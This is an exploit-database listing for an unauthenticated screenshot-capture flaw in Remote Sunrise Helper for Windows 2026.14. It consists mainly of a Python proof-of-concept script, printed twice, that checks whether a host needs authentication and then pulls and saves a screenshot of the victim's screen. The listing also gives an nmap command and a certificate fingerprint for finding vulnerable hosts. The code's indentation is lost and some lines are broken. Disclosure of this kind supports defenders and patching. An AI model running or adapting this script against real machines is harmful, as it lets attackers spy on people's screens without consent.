Description
Remote Sunrise Helper for Windows version 2026.14 suffers from an unauthenticated screenshot capture vulnerability...
Basic Information
ID
PACKETSTORM:219263
Published
Apr 20, 2026 at 00:00
Affected Product
Affected Versions
#!/usr/bin/env python3
# Exploit Title: Remote Sunrise Helper for Windows 2026.14 -
Unauthenticated Screenshot Capture
# Date: 2026-04-20
# Exploit Author: Chokri Hammedi
# Software: https://rs.ltd/latest.php?os=win
# Vendor: https://rs.ltd/
# Version: 2026.14
# Tested on: Windows 10 / Windows 11
#
# Identification:
# nmap -p- -T4 <target> --script ssl-cert
# Look for SSL cert with subject: CN=SecureHTTPServer/O=Evgeny Cherpak/C=US
import requests, json, sys, urllib3
urllib3.disable_warnings()
if len(sys.argv) < 4:
print(f"Usage: {sys.argv[0]} <target_ip> <api_port> <output_file>")
print(f"Example: {sys.argv[0]} 192.168.1.103 49737 screenshot.jpg")
sys.exit(1)
target = sys.argv[1]
api_port = sys.argv[2]
output = sys.argv[3]
url = f"https://{target}:{api_port}"
headers = {"X-HostName": "a", "X-ClientToken": "a", "X-HostFullModel": "a"}
try:
r = requests.get(f"{url}/api/getVersion", verify=False, timeout=5)
data = r.json()
if data.get("requires.auth") == False:
print(f"[+] VULNERABLE - {target}")
print(f" Host: {data.get('host.name')} | OS:
{data.get('win.version')}")
r = requests.get(f"{url}/api/getScreenshot", headers=headers,
verify=False)
if r.status_code == 200:
with open(output, 'wb') as f:
f.write(r.content)
print(f"[+] Screenshot saved: {output}")
else:
print(f"[-] Screenshot failed")
else:
print(f"[*] Not vulnerable - authentication required")
except Exception as e:
print(f"[-] Error: {e}")
# Exploit Title: Remote Sunrise Helper for Windows 2026.14 -
Unauthenticated Screenshot Capture
# Date: 2026-04-20
# Exploit Author: Chokri Hammedi
# Software: https://rs.ltd/latest.php?os=win
# Vendor: https://rs.ltd/
# Version: 2026.14
# Tested on: Windows 10 / Windows 11
#
# Identification:
# nmap -p- -T4 <target> --script ssl-cert
# Look for SSL cert with subject: CN=SecureHTTPServer/O=Evgeny Cherpak/C=US
import requests, json, sys, urllib3
urllib3.disable_warnings()
if len(sys.argv) < 4:
print(f"Usage: {sys.argv[0]} <target_ip> <api_port> <output_file>")
print(f"Example: {sys.argv[0]} 192.168.1.103 49737 screenshot.jpg")
sys.exit(1)
target = sys.argv[1]
api_port = sys.argv[2]
output = sys.argv[3]
url = f"https://{target}:{api_port}"
headers = {"X-HostName": "a", "X-ClientToken": "a", "X-HostFullModel": "a"}
try:
r = requests.get(f"{url}/api/getVersion", verify=False, timeout=5)
data = r.json()
if data.get("requires.auth") == False:
print(f"[+] VULNERABLE - {target}")
print(f" Host: {data.get('host.name')} | OS:
{data.get('win.version')}")
r = requests.get(f"{url}/api/getScreenshot", headers=headers,
verify=False)
if r.status_code == 200:
with open(output, 'wb') as f:
f.write(r.content)
print(f"[+] Screenshot saved: {output}")
else:
print(f"[-] Screenshot failed")
else:
print(f"[*] Not vulnerable - authentication required")
except Exception as e:
print(f"[-] Error: {e}")